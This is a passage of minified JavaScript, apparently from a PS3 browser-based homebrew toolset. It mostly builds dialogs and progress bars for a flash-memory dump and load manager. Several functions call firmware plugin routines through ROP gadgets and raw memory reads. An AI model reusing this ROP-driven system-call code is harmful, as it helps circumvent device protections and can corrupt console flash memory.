"+p.getHours().toString8(10)+":"+p.getMinutes().toString8(10),Width:"0",Height:"0",Size:c.toString64()}}),helper.sctx.totalSize=helper.sctx.totalSize.add(c)}}}scan_dir(e,t)})}},play_soundOK=function(){return helper.sound_ok=helper.sound_ok>0?helper.sound_ok:helper.heap.store("snd_trophy",!0),playRCOSound("system_plugin","snd_trophy")},play_soundNG=function(){return helper.sound_ng=helper.sound_ng>0?helper.sound_ng:helper.heap.store("snd_system_ng",!0),playRCOSound("system_plugin","snd_system_ng")},playRCOSound=function(e,t){var r="snd_trophy"===t?helper.sound_ok:"snd_edy_ng"===t?helper.sound_ng:helper.heap.store(t,!0),s=getPluginViewid(e);return s=s>0?helper.rop.rrun(callsub(helper.vshgadgets_box.sub_bl_to_paf_B93AFE7E_addr,helper.vshgadgets_box.vtoc_addr,s,r,1065353216,0,0,0,helper.vshdata_storage,0,0,128)):0},getPluginViewid=function(e){var t=0;return"system_plugin"===e?(helper.system_plugin=helper.system_plugin>0?helper.system_plugin:helper.heap.store("system_plugin",!0),t=helper.system_plugin):"xmb_plugin"===e?(helper.xmb_plugin=helper.xmb_plugin>0?helper.xmb_plugin:helper.heap.store("xmb_plugin",!0),t=helper.xmb_plugin):"edy_plugin"===e?(helper.edy_plugin=helper.edy_plugin>0?helper.edy_plugin:helper.heap.store("edy_plugin",!0),t=helper.edy_plugin):"osk_plugin"===e?(helper.osk_plugin=helper.osk_plugin>0?helper.osk_plugin:helper.heap.store("osk_plugin",!0),t=helper.osk_plugin):"explore_plugin"===e?(helper.explore_plugin=helper.explore_plugin>0?helper.explore_plugin:helper.heap.store("explore_plugin",!0),t=helper.explore_plugin):"download_plugin"===e?(helper.download_plugin=helper.download_plugin>0?helper.download_plugin:helper.heap.store("download_plugin",!0),t=helper.download_plugin):"webrender_plugin"===e&&(helper.webbrowser_plugin=helper.webbrowser_plugin>0?helper.webbrowser_plugin:helper.heap.store("webrender_plugin",!0),t=helper.webbrowser_plugin),t>0?paf.export_F21655F3(t):-1},getPluginInterface=function(e,t){return paf.export_23AFB290(e,t)},getXMM0IF=function(){if(helper.xmm0_interface<=0){var e=getPluginViewid("xmb_plugin"),t=e>0?getPluginInterface(e,1481461040):0;return t>0?(helper.xmm0_interface=t,0):(helper.xmm0_interface=0,Logger.error("getXMM0IF: Failure to acquire xmb_plugin interface xmm0"),-1)}},getWBIF=function(){if(helper.webbrowser_plugin_interface<=0){var e=getPluginViewid("webrender_plugin"),t=e>0?getPluginInterface(e,1):0;return t>0?(helper.webbrowser_plugin_interface=t,0):(helper.webbrowser_plugin_interface=0,Logger.error("getWBIF: Failure to acquire webrender_plugin interface 1"),-1)}},getDLPIF=function(){if(helper.download_plugin_interface<=0){var e=getPluginViewid("download_plugin");if(e<=0){Logger.info("getDLPIF: loading download_plugin");var t=LoadPluginById(41,null);Logger.info("getDLPIF: LoadPluginById returned: 0x"+t.toString(16)),0!==t&&1!==t&&(sleep(1),t=LoadPluginById(41,null),Logger.info("getDLPIF: LoadPluginById returned: 0x"+t.toString(16))),sleep(2),e=0===t||1===t?getPluginViewid("download_plugin"):0}else Logger.info("getDLPIF: download_plugin already loaded");Logger.info("getDLPIF: view: 0x"+e.toString(16));var r=e>0?getPluginInterface(e,1):0;return r>0?(Logger.info("getDLPIF: loaded download_plugin interface"),helper.download_plugin_interface=r,0):(helper.download_plugin_interface=0,Logger.error("getDLPIF: failure to acquire download_plugin interface 1"),-1)}},getEXPIF=function(){if(helper.explore_plugin_interface<=0){var e=getPluginViewid("explore_plugin");if(e<=0){var t=LoadPluginById(2,null);sleep(1),e=0===t||1===t?getPluginViewid("explore_plugin"):0}var r=e>0?getPluginInterface(e,1):0;return r>0?(helper.explore_plugin_interface=r,0):(helper.explore_plugin_interface=0,Logger.error("getEXPIF: Failure to acquire explore_plugin interface 1"),-1)}},wakeBrowser_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.webbrowser_plugin_interface),0)},DownloadStartBrowser_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.webbrowser_plugin_interface+56),e)},DownloadURL_sf=function(e,t){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+20),0,e,t)},setURL_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+4),e)},setPath_sf=function(e){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+8),e)},DownloadselDestination_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface),0)},DownloadselDestination2_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+60),0)},DownloadselDevice_sf=function(){return vcall_subByOpd(helper.memory.upeek32(helper.download_plugin_interface+68),0)},downloadObject=function(e,t,r,s){var o="";this.log="Download Operations:
Thread BGTOOLSET_DL created
URL: "+e+"
Path: "+t,o+=DownloadURL_sf(e,t),this.sfd[0]=o,o=""},LoadPluginById=function(e,t){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+12),e,t,0):-1},ClosePluginById=function(e,t){return 0===getXMM0IF()?call(helper.memory.upeek32(helper.xmm0_interface+20),e,t,1):-1},UnloadPluginById=function(e,t){return helper.xmm0_interface=helper.xmm0_interface>0?helper.xmm0_interface:getPluginInterface(getPluginViewid("xmb_plugin"),helper.heap.store("XMM0",!0)),call(helper.memory.upeek32(helper.xmm0_interface+0),e,t)},clean_guiDialog=function(e){Logger.info("guiDialog cleanup");var t=e?$("#"+e.txt):$("#dg-text");(e?$("#"+e.conf):$("#dg-confirm")).dialog("close"),t.html("")},confirmDialog=function(e,t,r,s,o,l,n){Logger.info("confirmDialog object building"),guiDialog([{text:"No",icon:"ui-icon-close",click:function(e,t){o&&(Logger.info("confirmDialog executing the 'cbno' post callback"),$.Deferred().done(o).resolve(l)),clean_guiDialog(n)}},{text:"Yes",icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("confirmDialog executing the 'cbyes' post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog(n)}}],e,t,null,null,n)},enableScanDialogButtons=function(){$("#dg-confirm").parent().find(".ui-dialog-buttonset").children().button("option","disabled",!1)},setScanDialogContents=function(e){$("#dg-confirm").parent().find(".ui-dialog-content").innerHTML=e},updateScanDialogCounts=function(e,t){var r=$("#dg-confirm").parent();r.find("#focount").innerHTML=e,r.find("#ficount").innerHTML=t},confirmWaitScanDialog=function(e,t,r,s,o,l){Logger.info("confirmWaitScanDialog object building"),guiDialog([{text:"No",disabled:!0,icon:"ui-icon-close",click:function(e,t){o&&(Logger.info("confirmWaitScanDialog executing the 'cbno' post callback"),$.Deferred().done(o).resolve(l)),clean_guiDialog()}},{text:"Yes",disabled:!0,icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("confirmWaitScanDialog executing the 'cbyes' post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog()}}],"

Processing folders: files:

"+e+"

",t)},infoDialog=function(e,t,r,s,o,l){Logger.info("infoDialog object building"),$("#dg-text").prepend(""),guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,t){r&&$.Deferred().done(r).resolve(s),$("#dg-confirm").find("span.ui-icon-alert").remove(),clean_guiDialog()}}],e,t,o,l)},htmlDialog=function(e,t,r,s,o,l){Logger.info("htmlDialog object building"),guiDialog([{text:"OK",icon:"ui-icon-check",click:function(e,t){r&&(Logger.info("htmlDialog executing post callback"),$.Deferred().done(r).resolve(s)),clean_guiDialog()}}],e,t,o,l)},guiDialog=function(e,t,r,s,o,l){Logger.info("guiDialog core object creation");var n=l?$("#"+l.txt):$("#dg-text"),i=l?$("#"+l.conf):$("#dg-confirm");Logger.info("guiDialog adding html content"),n.html(t),Logger.info("guiDialog executing precallback"),s&&$.Deferred().done(s).resolve(o),Logger.info("guiDialog creating the guiDialog jQuery object"),i.dialog({resizable:!1,dialogClass:"no-close",title:r,height:"auto",show:{effect:"fade",duration:250},hide:{effect:"fade",duration:0},width:"auto",modal:!0,buttons:e}),i.parent().find("button").focus(),setTimeout(function(){var e=i.parent().find(".ui-dialog-buttonpane");e.hover(function(){e.find(".ui-button").blur()})},100)},toast=function(e,t,r,s,o){return Logger.info("Toast object building"),$().toastmessage("showToast",{inEffectDuration:600,stayTime:1e3*r,text:e,position:"top-right",type:"info"===t?"notice":t,closeText:"",close:function(){s&&(Logger.info("Toast executing the post callback"),$.Deferred().done(s).resolve(o))}})},pbsDialog=function(e,t){Logger.info("pbsDialog object building");var r=null,s=e||{container_id:"pbs",dialog_id:"dsfmProgress",dialog_class:"pbdDialog",pbarg_id:"gsfmprogressbar",pbarstatus_id:"dsfm_status",pbarlabelg_id:"plsfm_gstatus",pbarvalg_id:"gsfmprogressbar_val",pbaricon_id:"dsicon_status",pbfs_id:"sfm_cont_status",pbarlog_id:"uslog"};if(!s.container_id)throw Logger.error("pbsDialog: Bad argument"),Error("pbsDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+s.container_id+"]").length)throw Error("pbsDialog: Missing html element: "+s.container_id);s.dialog_id||(s.dialog_id="dsfmProgress"),s.dialog_class||(s.dialog_class="pbdDialog"),s.pbarg_id||(s.pbarg_id="gsfmprogressbar"),s.pbarstatus_id||(s.pbarstatus_id="dsfm_status"),s.pbarlabelg_id||(s.pbarlabelg_id="plsfm_gstatus"),s.pbarvalg_id||(s.pbarvalg_id="gsfmprogressbar_val"),s.pbaricon_id||(s.pbaricon_id="dsicon_status"),s.pbfs_id||(s.pbfs_id="sfm_cont_status"),s.pbarlog_id||(s.pbarlog_id="ulog"),t||jQuery("."+s.dialog_class).remove();var o=document.createElement("div");o.id=s.dialog_id,o.className="diag-"+s.dialog_id+" ui-helper-hidden "+s.dialog_class,o.title="Operations Progress";var l=document.createElement("div");l.id=s.pbarlog_id,l.className="ui-helper-hidden "+s.dialog_class,jQuery("#"+s.container_id).append([o,l]);var n=document.createElement("fieldset");n.className="dsfp ui-widget-content ui-corner-all "+s.dialog_class;var i=document.createElement("div");i.id=s.pbfs_id,i.className="diag-"+s.pbfs_id.replace("_","-")+" "+s.dialog_class;var a=document.createElement("div");a.id=s.pbarstatus_id,a.className="diag-"+s.pbarstatus_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+s.dialog_class,a.innerText="....";var p=document.createElement("div");p.id=s.pbaricon_id,p.className="icon-status hourglass "+s.dialog_class,i.appendChild(a),i.appendChild(p);var c=document.createElement("div");c.id=s.pbarlabelg_id,c.className="diag-"+s.pbarlabelg_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+s.dialog_class,c.innerText="....";var d=document.createElement("div");d.id=s.pbarvalg_id,d.className="progress-val "+s.dialog_class;var u=document.createElement("div");u.id=s.pbarg_id,u.className="diag-"+s.pbarg_id+" "+s.dialog_class,u.appendChild(d);var h=jQuery("#"+s.dialog_id).append(n);h.find(n).append([i,c,d,u]);var g=!1,f=jQuery("#"+s.pbarg_id),_=jQuery("#"+s.pbarstatus_id),m=jQuery("#"+s.pbarlabelg_id),x=jQuery("#"+s.pbarvalg_id),b=function(e){jQuery.each(jQuery("#"+s.pbaricon_id),function(t,r){jQuery(r).attr("class","icon-status "+e)})},y=[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){g=!0})}}],v=h.dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:290,width:575,buttons:y,show:{effect:"fade",duration:1500},hide:{effect:"fade",duration:800},open:function(e,t){b("hourglass"),m.text("Generating worker thread data"),x.text(""),f.progressbar("value",!1),_.text("Initializing Operations"),g=!1},close:function(e,t){}});f.progressbar({value:!1,change:function(e,t){var r=f.progressbar("value"),s=!1!==r?r+"%":"";x.text(s)},complete:function(e,t){x.text("Done");var o=[{text:"Log",icon:"ui-icon-info",click:function(e,t){infoDialog(jQuery("#"+s.pbarlog_id).html(),"Log",function(){jQuery("#"+s.dialog_id).parent().find("button:last").focus().blur()})}}];if(r&&r.afterload_callback){var l=r.afterload_callback(r.buffer);l&&o.push(l),r=null}o.push({text:"Close",icon:"ui-icon-closethick",click:function(e,t){v.dialog("option",{close:function(e,t){}}),v.dialog("close"),r&&r.post_callback&&r.post_callback(r.buffer)}}),v.dialog("option","buttons",o)}}),this.ulog=function(e,t){var r=document.getElementById(s.pbarlog_id);r&&(t?r.innerHTML="":r.innerHTML+="
"+e),e.length>0&&Logger.info(e)},this.setIconStatus=function(e){b(e)},this.updateGlobalValue=function(e){f.progressbar("value",e>0&&e<100&&Math.floor(e)!==e?Math.floor(e)+1:Math.floor(e))},this.updateGlobalLabel=function(e){m.text(e)},this.updateStatusText=function(e){_.text(e)},this.getStatusText=function(){return _.text()},this.setTitle=function(e){v.dialog("option","title",e)},this.updateStatusStyle=function(e){_.css(e)},this.updateProgressDialog=function(e,t){e&&(e.istatus&&this.setIconStatus(e.istatus),e.title&&this.setTitle(e.title),e.glabel&&this.updateGlobalLabel(e.glabel),e.gvalue&&this.updateGlobalValue(e.gvalue)),t&&this.updateStatusText(getElapsedTime(t)),jQuery("#"+s.dialog_id).parent().find("button").blur()},this.open=function(e,t){this.ulog("",!0),!0===e?(v.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){toast("Current operations cannot be cancelled","warning",3)}}]),v.dialog("option","classes.ui-dialog","no-close"),v.dialog("option",{close:function(e,t){}})):(t?(v.dialog("option",{close:function(e,r){t()}}),v.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){v.dialog("close")})}}])):(v.dialog("option","buttons",y),v.dialog("option",{close:function(e,t){}})),v.dialog("option","classes.ui-dialog","ui-dialog-titlebar-close")),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+s.container_id).removeClass("ui-helper-hidden"),jQuery("#"+s.dialog_id).removeClass("ui-helper-hidden"),v.parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip(),v.dialog("open")},this.close=function(){v.dialog("close"),jQuery("#"+s.container_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+s.dialog_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},this.cancel=function(){g=!0},this.cancelled=function(){return g},this.setCallback=function(e){e&&(r=e)}},pbdDialog=function(e,t){Logger.info("pbdDialog object building");var r=e||{container_id:"pbd",dialog_id:"dfmProgress",dialog_class:"pbsDialog",pbarg_id:"gfmprogressbar",pbard_id:"dprogressbar",pbarstatus_id:"dfm_status",pbarlabelg_id:"plfm_gstatus",pbarlabeld_id:"plfm_dstatus",pbarvalg_id:"gfmprogressbar_val",pbarvald_id:"dprogressbar_val",pbaricon_id:"dicon_status",pbfs_id:"fm_cont_status",pbarlog_id:"ulog"};if(!r.container_id)throw Logger.error("pbdDialog: Bad argument"),Error("pbdDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+r.container_id+"]").length)throw Error("pbdDialog: Missing html element: "+r.container_id);r.dialog_id||(r.dialog_id="dfmProgress"),r.dialog_class||(r.dialog_class="pbsDialog"),r.pbarg_id||(r.pbarg_id="gfmprogressbar"),r.pbard_id||(r.pbard_id="dprogressbar"),r.pbarstatus_id||(r.pbarstatus_id="dfm_status"),r.pbarlabelg_id||(r.pbarlabelg_id="plfm_gstatus"),r.pbarlabeld_id||(r.pbarlabeld_id="plfm_dstatus"),r.pbarvalg_id||(r.pbarvalg_id="gfmprogressbar_val"),r.pbarvald_id||(r.pbarvald_id="dprogressbar_val"),r.pbaricon_id||(r.pbaricon_id="dicon_status"),r.pbfs_id||(r.pbfs_id="fm_cont_status"),r.pbarlog_id||(r.pbarlog_id="ulog"),t||jQuery("."+r.dialog_class).remove();var s=document.createElement("div");s.id=r.dialog_id,s.className="diag-"+r.dialog_id+" ui-helper-hidden "+r.dialog_class,s.title="Operations Progress";var o=document.createElement("div");o.id=r.pbarlog_id,o.className="ui-helper-hidden "+r.dialog_class,jQuery("#"+r.container_id).append([s,o]);var l=document.createElement("fieldset");l.className="dfp ui-widget-content ui-corner-all";var n=document.createElement("div");n.id=r.pbfs_id,n.className="diag-"+r.pbfs_id.replace("_","-")+" "+r.dialog_class;var i=document.createElement("div");i.id=r.pbarstatus_id,i.className="diag-"+r.pbarstatus_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,i.innerText="....";var a=document.createElement("div");a.id=r.pbaricon_id,a.className="icon-status hourglass "+r.dialog_class,n.appendChild(i),n.appendChild(a);var p=document.createElement("div");p.id=r.pbarlabelg_id,p.className="diag-"+r.pbarlabelg_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,p.innerText="....";var c=document.createElement("div");c.id=r.pbarvalg_id,c.className="progress-val "+r.dialog_class;var d=document.createElement("div");d.id=r.pbarg_id,d.className="diag-"+r.pbarg_id+" "+r.dialog_class,d.appendChild(c);var u=document.createElement("div");u.id=r.pbarlabeld_id,u.className="diag-"+r.pbarlabeld_id.replace("_","-")+" progress-label ui-widget-content ui-corner-all "+r.dialog_class,u.innerText="....";var h=document.createElement("div");h.id=r.pbard_id,h.className="diag-"+r.pbard_id+" "+r.dialog_class;var g=document.createElement("div");g.id=r.pbarvald_id,g.className="progress-val "+r.dialog_class,h.appendChild(g);var f=jQuery("#"+r.dialog_id).append(l);f.find(l).append([n,p,c,d,u,h]);var _=!1,m=jQuery("#"+r.pbarg_id),x=jQuery("#"+r.pbard_id),b=jQuery("#"+r.pbarstatus_id),y=jQuery("#"+r.pbarlabelg_id),v=jQuery("#"+r.pbarlabeld_id),C=jQuery("#"+r.pbarvalg_id),D=jQuery("#"+r.pbarvald_id),F=function(e){jQuery.each(jQuery("#"+r.pbaricon_id),function(t,r){jQuery(r).attr("class","icon-status "+e)})},S=[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){_=!0})}}],k=f.dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:390,width:575,buttons:S,show:{effect:"fade",duration:1500},hide:{effect:"fade",duration:800},open:function(e,t){F("hourglass"),y.text("Generating worker thread data"),v.text("Idle"),C.text(""),D.text(""),m.progressbar("value",!1),x.progressbar("value",!1),b.text("Initializing Operations"),_=!1}});m.progressbar({value:!1,change:function(e,t){var r=m.progressbar("value"),s=!1!==r?r+"%":"";C.text(s)},complete:function(e,t){C.text("Done"),D.text("Done"),k.dialog("option","buttons",[{text:"Log",icon:"ui-icon-info",click:function(e,t){infoDialog(jQuery("#"+r.pbarlog_id).html(),"Log",function(){jQuery("#"+r.dialog_id).parent().find("button:last").focus().blur()})}},{text:"Close",icon:"ui-icon-check",click:function(e,t){k.dialog("option",{close:function(e,t){}}),k.dialog("close")}}])}}),x.progressbar({value:!1,change:function(e,t){var r=x.progressbar("value"),s=!1!==r?r+"%":"";D.text(s)},complete:function(e,t){}}),this.ulog=function(e,t){var s=document.getElementById(r.pbarlog_id);s&&(t?s.innerHTML="":s.innerHTML+="
"+e),e.length>0&&Logger.info(e)},this.setIconStatus=function(e){F(e)},this.updateGlobalValue=function(e){m.progressbar("value",e>0&&e<100&&Math.floor(e)!==e?Math.floor(e)+1:Math.floor(e))},this.updateDetailValue=function(e){x.progressbar("value",Math.floor(e))},this.updateGlobalLabel=function(e){y.text(e)},this.updateDetailLabel=function(e){v.text(e)},this.updateStatusText=function(e){b.text(e)},this.getStatusText=function(){return b.text()},this.setTitle=function(e){k.dialog("option","title","Flash Memory Manager: "+e)},this.updateStatusStyle=function(e){b.css(e)},this.updateProgressDialog=function(e,t){e&&(e.istatus&&this.setIconStatus(e.istatus),e.title&&this.setTitle(e.title),e.dlabel&&this.updateDetailLabel(e.dlabel),e.glabel&&this.updateGlobalLabel(e.glabel),e.dvalue&&this.updateDetailValue(e.dvalue),e.gvalue&&this.updateGlobalValue(e.gvalue)),t&&this.updateStatusText(getElapsedTime(t)),jQuery("#"+r.dialog_id).parent().find("button").blur()},this.open=function(e,t){this.ulog("",!0),!0===e?(k.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){toast("Current operations cannot be cancelled","warning",3)}}]),k.dialog("option","classes.ui-dialog","no-close"),k.dialog("option",{close:function(e,t){}})):(t?(k.dialog("option",{close:function(e,r){t()}}),k.dialog("option","buttons",[{text:"Cancel",icon:"ui-icon-close",click:function(e,t){confirmDialog("Do you really wish to stop the operations in progress?","Cancel",function(){k.dialog("close")})}}])):(k.dialog("option","buttons",S),k.dialog("option",{close:function(e,t){}})),k.dialog("option","classes.ui-dialog","ui-dialog-titlebar-close")),jQuery(".preloader").removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+r.container_id).removeClass("ui-helper-hidden"),jQuery("#"+r.dialog_id).removeClass("ui-helper-hidden"),k.parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip(),k.dialog("open")},this.close=function(){k.dialog("close"),jQuery("#"+r.container_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden"),jQuery("#"+r.dialog_id).removeClass("ui-helper-hidden").addClass("ui-helper-hidden")},this.cancel=function(){_=!0},this.cancelled=function(){return _}},sDialog=function(e){Logger.info("sDialog object building");var t=null,r=e||{container_id:"sd_container",tree_id:"dSTree",ftree_id:"fTree",sbutton_id:"dSave_As",scb_class:"scbsave",ifilename_name:"sDialog_FileName",spath_id:"lsDialog_Path",default_fname:"dump.hex",pbar_object:null,spbar_object:null,default_object:null};if(!r.container_id)throw Logger.error("sDialog: Bad argument"),Error("sDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+r.container_id+"]").length)throw Error("sDialog: Missing html element: "+r.container_id);r.tree_id||(r.tree_id="dSTree"),r.ftree_id||(r.ftree_id="fTree"),r.sbutton_id||(r.sbutton_id="dSave_As"),r.scb_class||(r.scb_class="scbsave"),r.ifilename_name||(r.ifilename_name="sDialog_FileName"),r.spath_id||(r.spath_id="lsDialog_Path"),r.default_fname||(r.default_fname="dump.hex"),jQuery("#"+r.container_id).replaceWith("
\t\t\t\t\t\t
\t\t\t\t\t\t\t \t\t\t\t\t\t\t \t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t
");var s=jQuery("#"+r.tree_id),o=jQuery("input[name="+r.ifilename_name+"]"),l=jQuery("label[id="+r.spath_id+"]"),n=r.default_fname?r.default_fname:"dump.hex",i="",a=this,p=r.default_object?r.default_object:{sector_count:489472,nsec_iter:32768,dump_start:0,save_offset:0,file_path:"/dev_hdd0/dump.hex",default_name:"dump.hex",pre_callback:null,buffer:null,no_pbar:!1},c=[{text:"Save",icon:"ui-icon-disk",click:function(e,s){if(p.sector_count){function o(){d.dialog("close"),jQuery(".preloader").removeClass("ui-helper-hidden"),p.pre_callback&&p.pre_callback(),setTimeout(function(){return p.buffer=helper.sm.getBuffer(),p.tls=helper.worker.fmm.getTLS(),p.buffer?p.tls?(r.pbar_object&&(r.pbar_object.setTitle("Dumping Operations Progress"),r.pbar_object.open()),void setTimeout(function(){t.resolve(p)},1200)):(Logger.error("sDialog: TLS memory allocation failed!"),void toast("TLS memory allocation failed","error",5)):(Logger.error("sDialog: Buffer memory allocation failed!"),void toast("Buffer memory allocation failed","error",5))},1e3)}p.file_path=l[0].innerText,fsitem_exists(p.file_path)?confirmDialog("If you continue, "+p.file_path+" will be overwritten","Confirm",o):o()}else if(p.buffer&&p.buffer.size>0){function n(){jQuery(".preloader").removeClass("ui-helper-hidden"),p.pre_callback&&p.pre_callback(),!p.no_pbar&&r.spbar_object&&setTimeout(function(){r.spbar_object.setTitle("Saving File Operations Progress"),r.spbar_object.open()},500),setTimeout(function(){t.resolve(p)},1e3)}d.dialog("close"),p.file_path=l[0].innerText,fsitem_exists(p.file_path)?(Logger.info("File "+p.file_path+" already exists"),confirmDialog("If you continue, "+p.file_path+" will be overwritten","Confirm",n)):(Logger.info("Saving file "+p.file_path),n())}}},{text:"Cancel",icon:"ui-icon-close",click:function(e,t){d.dialog("close")}}];jQuery("#"+r.sbutton_id).removeClass("ui-helper-hidden");var d=jQuery("#"+r.sbutton_id).dialog({autoOpen:!1,modal:!0,closeOnEscape:!1,resizable:!1,height:480,width:720,buttons:c,open:function(e,t){o=jQuery("input[name="+r.ifilename_name+"]"),(l=jQuery("label[id="+r.spath_id+"]")).html(""),o.val(n),s.jstree({core:{multiple:!1,restore_focus:!1,dblclick_toggle:!1,data:function(e,t){if("file"!==e.type){s.find("i.jstree-ocl").addClass("ui-state-disabled");var r=getJSTreeData_wk(this,e,!1,!0);t(-1===r?[]:r),(-1===r||r.length>0)&&(s.find("i.jstree-ocl").removeClass("ui-state-disabled"),this.get_node(e,!0).removeClass("jstree-loading").attr("aria-busy",!1))}}},themes:{dots:!0,icons:!0},sort:function(e,t){return this.get_node(e).text>this.get_node(t).text?1:-1},types:{"#":{max_children:12,max_depth:128,valid_children:["root"]},root:{max_depth:127,icon:"jstree-folder",valid_children:["folder","file"]},folder:{icon:"jstree-folder",valid_children:["folder","file"]},file:{icon:"jstree-file",valid_children:[]}},plugins:["search","types","changed","unique","sort"]}),s.on("select_node.jstree",function(e,t){var r=t.instance.get_fullpath(t.node);"file"===t.node.type?(l.text(r),o.val(t.node.text)):(0===o.val().length&&o.val("dump.hex"),l.text(r+"/"+o.val())),i=r.substr(r.lastIndexOf("/")),a.enableSaveButton(),a.enableSaveText()}),o.on("change",function(e){var t=o.val();validateFileName(t)?(l.text(i+"/"),a.disableSaveButton()):i.length>0?(l.text(i+"/"+t),a.enableSaveButton()):(l.text("Please select a destination folder"),a.disableSaveText(),a.disableSaveButton()),p=!1});var p=!1;o.on("input",function(e){p=!0}),s.parent().on("click",function(e){!0===p&&s.parent().focus()}),s.on("click",function(e){!0===p&&s.focus()}),s.on("after_open.jstree",function(e,t){s.find("i.jstree-ocl").removeClass("ui-state-disabled"),t.instance.get_node(t.node,!0).removeClass("jstree-loading").attr("aria-busy",!1)}),s.on("load_node.jstree",function(e,t){t.instance.get_node(t.node,!0).addClass("jstree-loading").attr("aria-busy",!0),t.instance.open_node(t.node)}),s.on("before_open.jstree",function(e,t){t.instance.get_node(t.node,!0).addClass("jstree-loading").attr("aria-busy",!0);var r=jQuery.grep(t.instance.get_node(t.node.parent).children,function(e,r){return e!==t.node&&t.instance.is_open(e)});t.instance.close_node(r)})},beforeClose:function(e,t){},close:function(e,t){o.val(n),s.jstree("destroy",!0)}});this.setTitle=function(e){d.dialog("option","title",e)},this.open=function(e,o){n=void 0===(p=e||p).default_name||null===p.default_name?"dump.hex":p.default_name,d.dialog("open"),jQuery("."+r.scb_class).mCustomScrollbar("destroy"),jQuery("."+r.scb_class).mCustomScrollbar({theme:"eggplant"===Cookies.get("style")?"light-thick":"dark-thick",keyboard:{enable:!1},mouseWheel:{enable:!1}}),this.disableSaveButton(),this.disableSaveText(),l.text("Please select a destination folder"),(t=jQuery.Deferred()).promise().done(o),s.focus(),jQuery("#"+r.sbutton_id).parent().find("button").blur(),jQuery("#"+r.sbutton_id).parent().find(".ui-dialog-titlebar-close").prop("title",""),jQuery(document).tooltip()},this.close=function(){d.dialog("close"),jQuery("."+r.scb_class).mCustomScrollbar("destroy")},this.enableSaveText=function(){jQuery("#"+r.ifilename_name).removeClass("ui-state-disabled")},this.disableSaveText=function(){jQuery("#"+r.ifilename_name).removeClass("ui-state-disabled").addClass("ui-state-disabled")},this.disableSaveButton=function(){jQuery("#"+r.sbutton_id).parent().find("div.ui-dialog-buttonset:first").children("button:first").removeClass("ui-state-disabled").addClass("ui-state-disabled").blur()},this.enableSaveButton=function(){jQuery("#"+r.sbutton_id).parent().find("div.ui-dialog-buttonset:first").children("button:first").removeClass("ui-state-disabled").focus().blur()}},lDialog=function(e){Logger.info("lDialog object building");var t=e||{container_id:"ld_container",tree_id:"dLTree",ftree_id:"fTree",lbutton_id:"dLoad",scb_class:"scbload",lpath_id:"dlDialog_Path",pbar_object:null,spbar_object:null,default_object:null};if(!t.container_id)throw Logger.error("lDialog: Bad argument"),Error("lDialog: Bad argument - no specified container to create dialog elements");if(0===jQuery("div[id="+t.container_id+"]").length)throw Error("lDialog: Missing html element: "+t.container_id);t.tree_id||(t.tree_id="dLTree"),t.ftree_id||(t.ftree_id="fTree"),t.lbutton_id||(t.lbutton_id="dLoad"),t.scb_class||(t.scb_class="scbload"),t.lpath_id||(t.lpath_id="dlDialog_Path"),jQuery("#"+t.container_id).replaceWith("
\t\t\t\t\t\t
\t\t\t\t\t\t\t
*.*
\t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t\t\t
\t\t\t\t\t\t
\t\t\t\t\t
");var r=jQuery("#"+t.tree_id),s=jQuery("div[id="+t.lpath_id+"]"),o=t.default_object?t.default_object:{buffer:null,pre_callback:null,patch:!1},l=null,n=this;helper.rosBuffer={offset:0,size:0};var i=[{text:"Load",icon:"ui-icon-folder-open",click:function(e,r){a.dialog("close");var n=s[0].innerText.lastIndexOf("/"),i=s[0].innerText.substr(n+1,s.text().length-n-1),p=new Date;if(!0===o.patch)t.pbar_object&&(t.pbar_object.ulog(p,!0),t.pbar_object.setTitle("Loading File Operations Progress"),t.pbar_object.open(),t.pbar_object.updateProgressDialog({dlabel:"Preparing buffer",glabel:"Loading '"+i+"'",dvalue:0,gvalue:0,title:"Loading Operations Progress"})),setTimeout(function(){jQuery("#"+t.ftree_id).jstree(!0);if(o.pre_callback&&o.pre_callback(),helper.sha256_loadedros="",helper.rosBuffer=helper.sm.getBuffer(),!helper.rosBuffer)return helper.rosBuffer={offset:0,size:0},Logger.error("lDialog: Buffer memory allocation failed!"),void 